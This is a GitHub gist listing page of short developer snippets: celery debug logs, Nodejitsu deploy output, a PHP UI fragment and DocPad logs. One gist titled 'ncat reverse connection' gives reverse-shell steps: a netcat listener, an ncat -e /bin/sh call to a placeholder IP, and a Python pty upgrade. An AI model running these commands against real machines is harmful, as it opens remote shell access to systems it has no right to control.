Skip to content

Instantly share code, notes, and snippets.

View mikeumus's full-sized avatar
🪐
ARTEMIS

Michael Duane Mooring mikeumus

🪐
ARTEMIS
View GitHub Profile
@mikeumus
mikeumus / event camera output
Last active August 29, 2015 14:23
django-celery in --loglevel=DEBUG
```
mikeumus@celery-django-example:~/workspace (master) $ ./manage.py celery events --camera=djcelery.snapshot.Camera --loglevel=DEBUG
-> evcam: Taking snapshots with djcelery.snapshot.Camera (every 1.0 secs.)
[2015-06-20 19:38:37,974: INFO/MainProcess] Connected to django://localhost//
[2015-06-20 19:38:37,978: DEBUG/MainProcess] (0.001) QUERY = u'SELECT "djkombu_queue"."id", "djkombu_queue"."name" FROM "djkombu_queue" WHERE "djkombu_queue"."name" = %s LIMIT 21' - PARAMS = (u'celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',); args=('celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',)
[2015-06-20 19:38:37,979: DEBUG/MainProcess] (0.000) QUERY = u'BEGIN' - PARAMS = (); args=None
[2015-06-20 19:38:37,980: DEBUG/MainProcess] (0.001) QUERY = u'INSERT INTO "djkombu_queue" ("name") VALUES (%s)' - PARAMS = (u'celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4',); args=['celeryev.b5ddbe3d-6e82-4edc-88a1-589e58680aa4']
[2015-06-20 19:38:37,991: DEBUG/MainProcess] (0.000) QUERY = u'SELECT "djkombu_queue"."id", "djkombu_queue"."
@mikeumus
mikeumus / install-finalterm.md
Last active August 29, 2015 14:23
FinalTerm install on Ubuntu 14.04 Trusty
@mikeumus
mikeumus / ncat-connect.md
Last active August 29, 2015 14:24
ncat reverse connection

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

  1. Make sure you have netcat and nmap installed. I search for them in synaptic myself sudo synaptic -> Search: "nmap" and "netcat traditional"

  2. sudo nc -l 443 # to listen on port 443

  3. ncat $IP $PORT -e /bin/bash or /bin/sh # reverse connection, example: ncat x.x.x.x 443 -e /bin/sh

  4. python -c "import pty; pty.spawn('/bin/bash')"

@mikeumus
mikeumus / pm-diagram.php
Created June 9, 2011 02:53
Attempt as Cas
$this->howZoomPanel->Controls->Add($this->mdmLabel = new Label("MDM"));
$this->mdmLabel->CasSetLocation = $this->mdmLabelHolder->CasSetLocation(513, 13)
->CasCSSFontSize(17)
->CasHeight(14)
->CasCSSFontWeight('bold')
->CasColor('#777')
->CasOpacity(7)
->CasFont('Impact, Arial')
->CasCursor(Cursor::Move);
@mikeumus
mikeumus / deploysu
Created November 28, 2012 00:07
jit su deploys you
data: version: '0.1.1-2',
data: subdomain: 'whyinkadmin'
data: }
data:
prompt: Is this ok?: (yes) yes
@mikeumus
mikeumus / nodehttp-serverbinhttp-server
Created November 29, 2012 03:22
node http-server-bin-http-server
mikeumus@inkwhyadmin:~/304309 (master) $ cd http-server/
mikeumus@inkwhyadmin:~/304309/http-server (master) $ node http-server/bin/http-server
module.js:340
throw err;
^
@mikeumus
mikeumus / httpserverdeploy
Created November 29, 2012 03:34
httpserverdeploy
data:
data: {
data: engines: { node: '0.8.x' },
data: name: 'inkwhy-admin2',
data: scripts: { start: 'node ./bin/http-server' },
data: version: '0.1.0',
@mikeumus
mikeumus / socketKocket
Created November 30, 2012 01:49
socketKocket
Error running command deploy
error: Nodejitsu Error (500): Internal Server Error
warn: Error returned from Nodejitsu
error: Error: socket hang up
error: at createHangUpError (http.js:1264:15)
@mikeumus
mikeumus / nover
Created December 27, 2012 23:01
nover
mikeumus@docpad-testy:~/353209/theme (master) $ jitsu deploy
info: Welcome to Nodejitsu mikeumus
info: jitsu v0.11.4, node v0.8.9
info: It worked if it ends with Nodejitsu ok
info: Executing command deploy
info: Analyzing application dependencies in node_modules/docpad/bin/docpad-server
info: Creating snapshot 0.1.0
info Uploadi
@mikeumus
mikeumus / docpad ran
Created January 17, 2013 04:33
docpad ran
mikeumus@web-mart:~/379292/website (master) $ docpad run
info: Welcome to DocPad v6.21.4
info: Plugins: cleanurls, coffee, eco, livereload, marked, partials, stylus, text
info: Environment: development
info: DocPad listening to http://127.12.238.1:8080/ on directory /var/lib/stickshift/60d162e3e4e243639a8a1390d454615a/app-root/data/379292/website/out
info - socket.io started
info: Generating...